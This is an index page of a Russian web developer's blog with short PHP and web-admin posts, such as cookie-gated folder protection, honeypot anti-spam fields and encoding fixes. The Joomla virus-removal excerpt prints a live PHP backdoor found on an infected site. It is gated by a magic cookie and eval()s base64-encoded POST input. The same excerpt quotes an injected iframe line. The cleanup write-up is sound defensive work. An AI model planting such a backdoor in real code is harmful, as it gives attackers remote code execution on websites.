Feb
28

Защита админки редиректом (.htaccess + php)

Author admin    Category php     Tags ,

Иногда требуется быстрое решение чтобы прикрыть админку, дополнительной защитой. Или произвольную папку.

Простенький вариант который я использую, это связка .htaccess и php.

# http://fstrange.ru/coder/php/prostaya-zashhita-adminki.html
RewriteEngine On
RewriteBase /
# secret_file.php игнорируем. Он будет выставлять нужную печеньку
RewriteRule ^secret_file\.php$ - [NC,L]
RewriteCond %{HTTP_COOKIE} !secret_key=secret_value [NC]
RewriteRule .* http://%{HTTP_HOST}/index\.php [L]

Этот .htaccess кладем в защищаемую папку. Проверяется наличие куки с парой ключей. Если куки нет, идет редирект на главную страницу сайта. И secret_file.php , функция которого проста, сгенерить нужную нам куку.

<?php
/**
 * http://fstrange.ru/coder/php/prostaya-zashhita-adminki.html
 */

SetCookie('secret_key', 'secret_value', time()+(60*60*3), '/');
header('Location: '.dirname($_SERVER['REQUEST_URI']));

В примере установлено, время жизни куки, 3 часа (time()+(60*60*3)) , через это время вас выкинет из папки. secret_file.php лучше переименовать(и в .htaccess тоже) ,как нибудь умно, например qwerty.php :)

Все просто, но есть несколько подводных камней.  Очевидные опущу. Расскажу про баг с которым столкнулся.
На некоторых броузерах Opera, IE кука с маленьким временем (15 минут) не выставлялась. Причем баг не воспроизводился у меня на машине, на броузерах тех же версий. А у клиента на нескольких машинах.
Предположительно баг как то связан с таймзоной, но до конца я его не исследовал, решил проблему и ладно

Sep
9

Защита комментариев от спама

Author admin    Category php     Tags

На сайт клиента навалились боты. Каптчу обходят "индийским методом". Можно было поставить другую каптчу, но не хотелось. Я на некоторых сайтах, по 3-5 раз не угадывая текст на картинке, сам чувствую себя ботом .

Помог простейший способ защиты комментариев от спама. Большинство ботов реагирует на стандартные названия полей форм и очень любят поля с названиями website и url.

Добавляем в форму  поля(или поле) с названиями содержащими "url", "website" и прячем их через CSS или javascript. Например:

<style>
      .hi_robo { visibility: hidden; display: none}
</style>
<input type="text" class="hi_robo" name="website_url"  value=""  />

А в обработчик формы добавляем проверку

if (isset($_POST['website_url']) && trim($_POST['website_url']) ) { die('Die spammer!'); }

Сам способ защиты от спама, простейший, тем не менее он успешно защищает от 99% спама и без всякой каптчи.

Jul
30

iconv illegal character

Author admin    Category php     Tags

Неочевидное поведение некоторых функций в php раздражает. Это ведет к ошибкам и заставляет разработчика запоминать массу ненужной информации.

$str = iconv('utf-8', 'windows-1251//IGNORE', $str);

От этой строки ожидаешь, что iconv будет пропускать, то что не может распознать. Однако функция выбрасывает нотис и обрывает конвертацию там где встретила "нецензурный" символ.

Detected an illegal character in input string in 

Самое неприятное, что эта ошибка может долго не проявляться. Скрипт генерациии yml файла для Яндекс-Маркета отработал год, прежде чем возникла эта ошибка. Чуть лучше решение с //TRANSLIT но это не всегда удобно.

$str = iconv('utf-8', 'windows-1251//TRANSLIT', $str);

Транслит пытается найти аналог символу, например меняя № на No, что в случае артикула мешает. Более удачное решение, использование мультибайтовых функций mb_*

$str = mb_convert_encoding($str, "windows-1251", "utf-8");

А вообще от кодировки cp1251 стоит избавляться. Большинство IDE сейчас по умолчанию работают с UTF-8, т.е. разработка ведется в этой кодировке.  В базе хранить данные в другой кодировке смысла нет. В случае того же yml для Яндекс.Маркета в мануале указан неудачный пример.

<?xml version="1.0" encoding="windows-1251"?> 
<!DOCTYPE yml_catalog SYSTEM "shops.dtd">

И в результате все разработчики наступают на одни и те же грабли, хотя ничто не мешает сформировать yml в кодировке utf-8

Mar
8

Joomla удаление вирусов

Author admin    Category js, php     Tags , , , ,

Писал на тему удаления вирусов из Джумлы и ранее, но вопросов задавали много, поэтому разберу еще один случай со все тем же "iframe write вирусом" другой модификации. В этот раз, тревогу забил клиент, "слишком долго стал грузиться сайт на Джумле". Ни Яндекс, ни Гугл на тот момент вирусов на сайте не находили, версия с вирусом еще не проиндексировалась. Уважаю! Открыв первый попавшийся на глаза js, в конце файла я увидел ;document.write('<iframe src="http://gemexmud…

Далее расчехляем scan.php запускаем и наблюдаем то же самое более 300 js файлов. Картина привычная, я не стал лезть в логи сервера и сразу начал искать eval() и base64 в php файлах. Новый  сюрприз. Файлов оказалось больше 50. eval() используют и некоторые стандартные модули Джумлы, но их немного. К тому же подозрительные файлы имели рэндомные названия из букв и цифр. Проверив несколько файлов я убедился, что они заражены. На это указывала инструкция

<?php
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
  echo '<textarea id=areatext>';
  eval($msg);
  echo '</textarea>bg';
  exit;
}}
?>

далее

Feb
18

JmodelLegacy – migration undefined

Author admin    Category php     Tags

Для обновления Джумлы со старых 1.5 до 2.5 используют плагин JUpgrade. Редкостной кривизны модуль. Вначале выяснилось, что он скачивает с офф. сайта последнюю версию Джумлы 2.5.9 а работать умеет только с 2.5.4. Ну ладно. Находим нужную ему версию. Скачиваем, распаковываем в /jupgrade, ставим нужные галочки, чтобы плагин брал уже распакованую Джумлу и не дергался. Хех.

Все тормозится на этапе migration undefined . Включаем debug и видим длиннейшую простыню ошибок.  В самом начале, что то вроде Fatal error: Class 'JModelLegacy' not found

Этой дурацкой ошибкой забиты все интернеты. На форуме разработчков JUpgrade ответа нет. Сплошное шаманство. Перепробовал все виды камланий, которые пришли в голову разработчикам и другим специалистам по Джумле, но победить проблему не удалось.

В результате пришлось идти своим путем. Раз уж это "JModelLegacy not found", то надо попробовать его воткнуть и помотреть, что получится. Находим файл legacy.php . Он находится в Joomle 2.5  в папке /libraries/cms/model/.

Копируем его в /jupgrade/installation/ . И правим 2 файла.
/jupgrade/installation/models/configuration.php
/jupgrade/installation/models/db.php

Добавляем require_once JPATH_INSTALLATION.'/legacy.php'; Где нибудь после jimport. Бинго! Инсталляция прошла на ура.

Jan
24

Firefox перенос настроек и оптимизация

Собрав новый комп начал настраивать рабочее окружение. Firefox у меня на старом компе обновляется еще с версии 2.хх. За это время ставились и удалялись аддоны, накатывались новые версии. Понятно, что несмотря на постоянную оптимизацию Firefox все тяжелел. Какой то мусор да остается. Поэтому я решил не пользоваться автоматическими средствами переноса настроек, поставить "голый" Огнелис и настроить с нуля.

Что обычно требуется сохранить:

  1. Настройки оптимизации Firefox
  2. Список ссылок в табах.
  3. Избранное, если есть. Я не пользуюсь. Его мне заменяют табы + Zotero
  4. Список аддонов
  5. Логины, пароли. Не пользуюсь. Заменяет Keepass.
  6. Поисковые плагины
  7. Настройки аддонов. Например база Zotero.

Как сохранить список ссылок в табах и список аддонов в Firefox?

Эти пункты решаются аддонами.
TabList 0.1.4 для сохранения табов,
Extension List Dumper 1.15.2 для сохранения списка аддонов.

Настройки оптимизации Firefox.

далее

Dec
16

yml скрипт для Яндекс Маркета

Author admin    Category php     Tags

Для выгрузки товаров в Яндекс Маркет из веб магазина в формате yml, есть наиподробнейший мануал. Тем не менее, частые заказы связаны с тем, что "программист взялся и yml написать осилил, но почему он не подходит Яндексу".

Мешает ограничение на 3 бесплатных проверки. Но елки палки, уж проверить то xml на валидность можно? Есть отличный онлайн сервис для проверки xml. Проверка в два этапа, сначала скармливаем yml, затем shops.dtd Это избавит от большей части ошибок. Перечислю самые частые.

далее

Dec
12

Джумла поиск вирусов

Author admin    Category js, php, обо всем     Tags , ,

По горячим следам, одной работы решил написать статью. Обратился заказчик. У него сайт на joomla 1.5. Yandex и Google ругаются на наличие вредоносного ПО на сайте.  Джумла весьма рапространена в Рунете и не только, подобные заказы регулярно попадаются на freee-lance.ru, поэтому статья актуальна.
Далее опишу пошаговый перечень действий.

Как проверить на вирус онлайн?

Для начала выясним, был ли мальчик?  Общую сводку можно посмотреть на http://www.virustotal.com . Этот сервис собирает данные со всех основных антивирусных и выдает подборку результатов сканирования. В подборке более 20 онлайн сервисов. 

В моем случае известно,  что yandex и google обнаруживают "Сайт может угрожать безопасности вашего компьютера или мобильного устройства".

далее

Dec
2

Оптимизация сайтов под Retina

Сравнительно многие из новых устройств имеют Retina дисплеи. И это не только apple-device. Для владельцев сайтов, это новая головная боль. Причина? Количество физических пикселей на таких дисплеях больше чем виртуальных(пикселов в css). Проще всего это иллюстрирует картинка.

retina

Т.е. имеющуюся в 2×2 px картинку, броузер вынужден масштабировать в 4х4 px. Выглядит это неаккуратно.

картинка оптимизированная под Retina
Как вы можете догадаться, слева картинка оптимизирована под Ретина, справа нет.

далее

Nov
12

Настроить статистику в ЖЖ

Livejournal предоставляет довольно неудобную и куцую статистику. Поэтому возникает желание настроить в ЖЖ внешнюю статистику. Что нибудь вроде liveinternet или piwik. Для тех кто не знает, piwik  это  бесплатное , но мощное решение с возможностью установки на свой сервер.  Мешает существенное ограничение, запрет на javascript  в живом журнале. И найти как подключить графический счетчик непросто.

Проще всего с профилем жж. Ищем там ссылку о себе -> изменить. Туда легко воткнуть 1 пиксельную картинку от piwik.

<!-- Piwik Image Tracker --> 
<img src="http://demo.piwik.org/piwik.php?idsite={$IDSITE}" style="border:0" alt="" /> 
<!-- End Piwik -->

Где $IDSITE номер вашего сайта в админке piwik. Далее в меню профиль-найстройки находим ссылку оформление журнала.  Затем настроить свой стиль . Далее ищем в меню Отображение – Дополнительные настройки - Entry footer HTML .  И помещаем туда, тот же код, что и в профиль. На этом все. Liveinternet настраивается аналогично.

Ну а раз мы забрались в оформление темы журнала, то можно решить и еще один вопрос.

Как убрать рекламу из своего ЖЖ?

Все там же в меню слева ищем Custom CSS . Добавляем строку.

/* reclame del http://fstrange.ru/coder/ */ 
.b-ljtimes-wrapper {display: none;} 
#ad-leaderboard {display: none;} 
#ad-5linkunit {display: none;} 
.adv { display: none;}

Этим простеньким CSS мы скрываем всю рекламу в своем журнале.

Pages

Recent Posts

Tags

Популярно

Recent Comments

Meta